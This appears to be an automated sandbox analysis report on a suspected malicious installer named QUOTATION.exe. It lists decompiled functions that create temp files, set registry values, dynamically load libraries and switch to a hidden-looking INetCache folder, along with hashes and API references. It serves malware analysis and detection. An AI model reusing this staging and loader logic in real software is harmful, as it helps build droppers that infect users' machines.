Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 28484a559e18d06ed43ef22bfdd21feadbb4bbad1a21b96adf7a711402a84214
Instruction ID: eed10709806649b2ce9ecdbe6bed08e8f554dc741dea3641cf9b2fc180d08aa2
Opcode Fuzzy Hash: 28484a559e18d06ed43ef22bfdd21feadbb4bbad1a21b96adf7a711402a84214
Instruction Fuzzy Hash: A7515E71901219ABDB10EF65D904A9F3BB8AF48756F14413BFD10BB2C0C7789E51CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405BA2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405BA2(char _a4, intOrPtr _a6, CHAR* _a8) {
				char _t11;
				signed int _t12;
				int _t15;
				signed int _t17;
				void* _t20;
				CHAR* _t21;

				_t21 = _a4;
				_t20 = 0x64;
				while(1) {
					_t11 =  *0x4093b4; // 0x61736e
					_t20 = _t20 - 1;
					_a4 = _t11;
					_t12 = GetTickCount();
					_t17 = 0x1a;
					_a6 = _a6 + _t12 % _t17;
					_t15 = GetTempFileNameA(_a8,  &_a4, 0, _t21); // executed
					if(_t15 != 0) {
						break;
					}
					if(_t20 != 0) {
						continue;
					}
					 *_t21 =  *_t21 & 0x00000000;
					return _t15;
				}
				return _t21;
			}

0x00405ba6
0x00405bac
0x00405bad
0x00405bad
0x00405bb2
0x00405bb3
0x00405bb6
0x00405bc0
0x00405bcd
0x00405bd0
0x00405bd8
0x00000000
0x00000000
0x00405bdc
0x00000000
0x00000000
0x00405bde
0x00000000
0x00405bde
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405BB6
GetTempFileNameA.KERNELBASE(?,?,00000000,?,?,00000006,00000008,0000000A), ref: 00405BD0

Strings

nsa, xrefs: 00405BAD
"C:\Users\user\Desktop\QUOTATION.exe", xrefs: 00405BA2
C:\Users\user\AppData\Local\Temp\, xrefs: 00405BA5

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\QUOTATION.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2714782084
Opcode ID: 4f71c4811bd2189c67125445424a5cfd250d6f6759894b34be1bee502b12972b
Instruction ID: 2f7af396f84d097035df83fe1d719984909df90e6a6ed76a9758152acb097983
Opcode Fuzzy Hash: 4f71c4811bd2189c67125445424a5cfd250d6f6759894b34be1bee502b12972b
Instruction Fuzzy Hash: B9F082367082086BEB108F5ADC04B9B7BA8DF91750F14803BFA08DA291D6B4B9548B69

Uniqueness

Uniqueness Score: -1.00%

Function 6F6016DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E6F6016DB(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v88;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x6f60405c = _a8;
				 *0x6f604060 = _a16;
				 *0x6f604064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6f604038, E6F601556);
				_push(1); // executed
				_t37 = E6F601A98(); // executed
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E6F6022AF(_t54);
					}
					E6F6022F1(_t67, _t54);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_t37 = E6F6024D8(_t54);
							} else {
								_push(_t76);
								_push(_t68);
								_t61 = 8;
								_t13 = _t54 + 0x818; // 0x818
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E6F60156B(_t54,  &_v88);
								 *(_t54 + 0x834) =  *(_t54 + 0x834) & 0x00000000;
								_t18 = _t54 + 0x818; // 0x818
								_t72 = _t18;
								 *((intOrPtr*)(_t54 + 0x820)) = _t42;
								 *_t72 = 3;
								E6F6024D8(_t54);
								_t63 = 8;
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							E6F6024D8(_t54);
							_t37 = GlobalFree(E6F601266(E6F601559(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E6F60249E(_t54);
							if(( *(_t54 + 0x810) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x808);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x810) & 0x00000020) != 0) {
								_t37 = E6F6014E2( *0x6f604058);
							}
						}
						if(( *(_t54 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E6F602CC3(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E6F602A38(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E6F6026B2(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x6f6016db
0x6f6016db
0x6f6016db
0x6f6016e5
0x6f6016ed
0x6f6016fa
0x6f601708
0x6f60170b
0x6f60170d
0x6f601712
0x6f601717
0x6f601836
0x6f601836
0x6f60171d
0x6f601721
0x6f601724
0x6f601729
0x6f60172b
0x6f601731
0x6f601737
0x6f601767
0x6f60176e
0x6f601792
0x6f6017dd
0x6f601794
0x6f601794
0x6f601795
0x6f60179b
0x6f60179c
0x6f6017a6
0x6f6017a9
0x6f6017ae
0x6f6017b5
0x6f6017b5
0x6f6017bc
0x6f6017c2
0x6f6017c8
0x6f6017d5
0x6f6017d6
0x6f6017d9
0x6f601770
0x6f601771
0x6f601786
0x6f601786
0x6f6017e7
0x6f6017ea
0x6f6017f7
0x6f6017fe
0x6f601806
0x6f601809
0x6f601809
0x6f601806
0x6f601816
0x6f60181e
0x6f601823
0x6f601816
0x6f60182b
0x00000000
0x6f60182d
0x00000000
0x6f60182e
0x6f60182b
0x6f60173b
0x6f60173e
0x6f60175c
0x00000000
0x00000000
0x6f60175f
0x6f601764
0x6f601764
0x6f601766
0x00000000
0x6f601766
0x6f601740
0x6f601741
0x6f601749
0x6f60174a
0x00000000
0x6f60174a
0x6f601743
0x6f601744
0x6f601752
0x00000000
0x6f601752
0x6f601747
0x00000000
0x00000000
0x00000000
0x6f601747

APIs

Part of subcall function 6F601A98: GlobalFree.KERNEL32(?), ref: 6F601D09
Part of subcall function 6F601A98: GlobalFree.KERNEL32(?), ref: 6F601D0E
Part of subcall function 6F601A98: GlobalFree.KERNEL32(?), ref: 6F601D13

GlobalFree.KERNEL32(00000000), ref: 6F601786
FreeLibrary.KERNEL32(?), ref: 6F601809
GlobalFree.KERNEL32(00000000), ref: 6F60182E

Part of subcall function 6F6022AF: GlobalAlloc.KERNEL32(00000040,?), ref: 6F6022E0

Part of subcall function 6F6026B2: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6F601757,00000000), ref: 6F602782

Part of subcall function 6F60156B: wsprintfA.USER32 ref: 6F601599

Strings

, xrefs: 6F60180F

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 98040b6f6af1a3c60746addda4d566d3c0f29814659eb19b37875602f20f20af
Instruction ID: b92a299be7e543d61a206315e20e68f62ff889668b00f68ef4603c7fbafb202b
Opcode Fuzzy Hash: 98040b6f6af1a3c60746addda4d566d3c0f29814659eb19b37875602f20f20af
Instruction Fuzzy Hash: 264171711003099BDB09BF748B84BD637ECBF0532DF34846AE9169A0C2DFB4A545C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0040243D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040243D(void* __eax, int __ebx, intOrPtr __edx) {
				void* _t18;
				void* _t19;
				int _t22;
				long _t23;
				int _t28;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t35;
				void* _t37;
				void* _t40;

				_t31 = __edx;
				_t28 = __ebx;
				_t35 =  *((intOrPtr*)(_t37 - 0x24));
				_t32 = __eax;
				 *(_t37 - 0x10) =  *(_t37 - 0x20);
				 *(_t37 - 0x4c) = E00402B2C(2);
				_t18 = E00402B2C(0x11);
				 *(_t37 - 4) = 1;
				_t19 = E00402BBC(_t40, _t32, _t18, 2); // executed
				 *(_t37 + 8) = _t19;
				if(_t19 != __ebx) {
					_t22 = 0;
					if(_t35 == 1) {
						E00402B2C(0x23);
						_t22 = lstrlenA(0x409be8) + 1;
					}
					if(_t35 == 4) {
						 *0x409be8 = E00402B0A(3);
						 *((intOrPtr*)(_t37 - 0x44)) = _t31;
						_t22 = _t35;
					}
					if(_t35 == 3) {
						_t22 = E00402FFB( *((intOrPtr*)(_t37 - 0x28)), _t28, 0x409be8, 0xc00); // executed
					}
					_t23 = RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x4c), _t28,  *(_t37 - 0x10), 0x409be8, _t22); // executed
					if(_t23 == 0) {
						 *(_t37 - 4) = _t28;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x4237a8 =  *0x4237a8 +  *(_t37 - 4);
				return 0;
			}

0x0040243d
0x0040243d
0x0040243d
0x00402440
0x00402447
0x00402451
0x00402454
0x0040245d
0x00402464
0x0040246b
0x0040246e
0x00402474
0x0040247e
0x00402482
0x0040248d
0x0040248d
0x00402491
0x0040249b
0x004024a1
0x004024a4
0x004024a4
0x004024a8
0x004024b4
0x004024b4
0x004024c5
0x004024cd
0x004024cf
0x004024cf
0x004024d2
0x004025a9
0x004025a9
0x004029bb
0x004029c7

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00000023,00000011,00000002), ref: 00402488
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00000000,00000011,00000002), ref: 004024C5
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00000000,00000011,00000002), ref: 004025A9

Strings

C:\Users\user\AppData\Local\Temp\nsg9F21.tmp, xrefs: 00402479, 0040249B, 004024AF, 004024BA

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp
API String ID: 2655323295-711518007
Opcode ID: edd33fe483ba84759b99ae37b3b6bbb98728847c3150981f6fed721a845609ff
Instruction ID: 8e9ea0cf859de5a6fe7672b5a81e2234dbec8cc7450cb22075f11fbb1059ccd6
Opcode Fuzzy Hash: edd33fe483ba84759b99ae37b3b6bbb98728847c3150981f6fed721a845609ff
Instruction Fuzzy Hash: 42119072E00218BEEB01AFA58E49EAE7BB8FB48314F20443BF504B71C1C6B85D419B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040206A Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0040206A(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x4237d8");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x4237a8 =  *0x4237a8 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402B2C(0xfffffff0);
				 *(_t34 + 8) = E00402B2C(1);
				if( *((intOrPtr*)(_t34 - 0x24)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00405101(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x2c)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x424000, 0x40a828, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x2c)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x28)) == _t27 && E00403797(_t30) != 0) {
						FreeLibrary(_t30);
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x0040206a
0x0040206a
0x0040206f
0x00402076
0x00402131
0x004022a4
0x004022a4
0x004029b8
0x004029bb
0x004029c7
0x004029c7
0x00402085
0x0040208f
0x00402092
0x004020a1
0x004020a5
0x004020ab
0x004020af
0x0040212a
0x00000000
0x0040212a
0x004020b1
0x004020ba
0x004020be
0x00402102
0x004020c0
0x004020c3
0x004020c6
0x004020f6
0x004020c8
0x004020cb
0x004020d4
0x004020d6
0x004020d6
0x004020d4
0x004020c6
0x0040210a
0x0040211f
0x0040211f
0x00000000
0x0040210a
0x00402095
0x0040209b
0x0040209f
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00402095

Part of subcall function 00405101: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000,?,?,?,?,?,?,?,?,?,0040312B,00000000,?), ref: 0040513A
Part of subcall function 00405101: lstrlenA.KERNEL32(0040312B,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000,?,?,?,?,?,?,?,?,?,0040312B,00000000), ref: 0040514A
Part of subcall function 00405101: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,0040312B,0040312B,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,00000000,004168C0,00000000), ref: 0040515D
Part of subcall function 00405101: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll), ref: 0040516F
Part of subcall function 00405101: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405195
Part of subcall function 00405101: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051AF
Part of subcall function 00405101: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051BD

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 004020A5
GetProcAddress.KERNEL32(00000000,?), ref: 004020B5
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040211F

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 9df56e7d61f173b7ce09018b28e1b31a2cbc0ab7774ce8c4a93682e38e80f95d
Instruction ID: 97d835e61fc7e0b97890b4be7664cc53dce4a02014942e479506a03d8351e840
Opcode Fuzzy Hash: 9df56e7d61f173b7ce09018b28e1b31a2cbc0ab7774ce8c4a93682e38e80f95d
Instruction Fuzzy Hash: 4521D871A00214BBCF117FA4CE8DAAE79B4AB44319F20413BFA01B62D0C6FD9981D65E

Uniqueness

Uniqueness Score: -1.00%

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004015BB(char __ebx, void* __eflags) {
				void* _t13;
				int _t19;
				char _t21;
				void* _t22;
				char _t23;
				signed char _t24;
				char _t26;
				CHAR* _t28;
				char* _t32;
				void* _t33;

				_t26 = __ebx;
				_t28 = E00402B2C(0xfffffff0);
				_t13 = E00405A0B(_t28);
				_t30 = _t13;
				if(_t13 != __ebx) {
					do {
						_t32 = E0040599D(_t30, 0x5c);
						_t21 =  *_t32;
						 *_t32 = _t26;
						 *((char*)(_t33 + 0xb)) = _t21;
						if(_t21 != _t26) {
							L5:
							_t22 = E00405644(_t28);
						} else {
							_t39 =  *((intOrPtr*)(_t33 - 0x2c)) - _t26;
							if( *((intOrPtr*)(_t33 - 0x2c)) == _t26 || E00405661(_t39) == 0) {
								goto L5;
							} else {
								_t22 = E004055C7(_t28); // executed
							}
						}
						if(_t22 != _t26) {
							if(_t22 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
							} else {
								_t24 = GetFileAttributesA(_t28); // executed
								if((_t24 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						_t23 =  *((intOrPtr*)(_t33 + 0xb));
						 *_t32 = _t23;
						_t30 = _t32 + 1;
					} while (_t23 != _t26);
				}
				if( *((intOrPtr*)(_t33 - 0x30)) == _t26) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405FDA("C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto\\Wept", _t28);
					_t19 = SetCurrentDirectoryA(_t28); // executed
					if(_t19 == 0) {
						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
					}
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t33 - 4));
				return 0;
			}

0x004015bb
0x004015c2
0x004015c5
0x004015ca
0x004015ce
0x004015d0
0x004015d8
0x004015da
0x004015dc
0x004015e0
0x004015e3
0x004015fb
0x004015fc
0x004015e5
0x004015e5
0x004015e8
0x00000000
0x004015f3
0x004015f4
0x004015f4
0x004015e8
0x00401603
0x0040160a
0x00401617
0x00401617
0x0040160c
0x0040160d
0x00401615
0x00000000
0x00000000
0x00401615
0x0040160a
0x0040161a
0x0040161d
0x0040161f
0x00401620
0x004015d0
0x00401627
0x00401652
0x004022a4
0x00401629
0x0040162b
0x00401636
0x0040163c
0x00401644
0x0040164a
0x0040164a
0x00401644
0x004029bb
0x004029c7

APIs

Part of subcall function 00405A0B: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,?,00405A77,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,76B43410,?,C:\Users\user\AppData\Local\Temp\,004057C2,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405A19
Part of subcall function 00405A0B: CharNextA.USER32(00000000), ref: 00405A1E
Part of subcall function 00405A0B: CharNextA.USER32(00000000), ref: 00405A32

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 004055C7: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040560A

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept, xrefs: 00401631

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept
API String ID: 1892508949-3308316103
Opcode ID: 5cfa9deb3d8257745ad8f4e180157ca1595cadb6213feee14bfc4c3bdc9c1bf4
Instruction ID: 3a09c20382928311ba1d31a626229d1df209b5e1cddac7105c79dbf72218ebe6
Opcode Fuzzy Hash: 5cfa9deb3d8257745ad8f4e180157ca1595cadb6213feee14bfc4c3bdc9c1bf4
Instruction Fuzzy Hash: B4112731508141EBCB212FB94D4197F36B0EA96325F28453FE4D2B23E2D63D49429A3F

Uniqueness

Uniqueness Score: -1.00%

Function 00405EC1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00405EC1(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x400;
				_t21 = E00405E60(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExA(_a20, _a12, 0,  &_a8, _t30,  &_v8); // executed
					_t21 = RegCloseKey(_a20); // executed
					_t30[0x3ff] = _t30[0x3ff] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00405ecf
0x00405ed1
0x00405ee9
0x00405eee
0x00405ef3
0x00405f30
0x00405f30
0x00405ef5
0x00405f07
0x00405f12
0x00405f18
0x00405f22
0x00000000
0x00000000
0x00405f22
0x00405f35

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,?,00000400,Call,?,?,?,?,00000002,Call,?,00406105,80000002), ref: 00405F07
RegCloseKey.KERNELBASE(?,?,00406105,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll), ref: 00405F12

Strings

Call, xrefs: 00405EC4, 00405EF8

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: abfb1157869b45efbda80eaac2ce6d2ce1cd77193e8e6ff114ced4d7fd94e931
Instruction ID: 897067c620da28adabf34c96f4b8630bfa599ba4fb7ce992f063a5310404d611
Opcode Fuzzy Hash: abfb1157869b45efbda80eaac2ce6d2ce1cd77193e8e6ff114ced4d7fd94e931
Instruction Fuzzy Hash: 6D015A7251020AABEF22CF61CC09FDB3BACEF55364F004026FA55A2190D278DA54CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406A9B Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406A9B() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
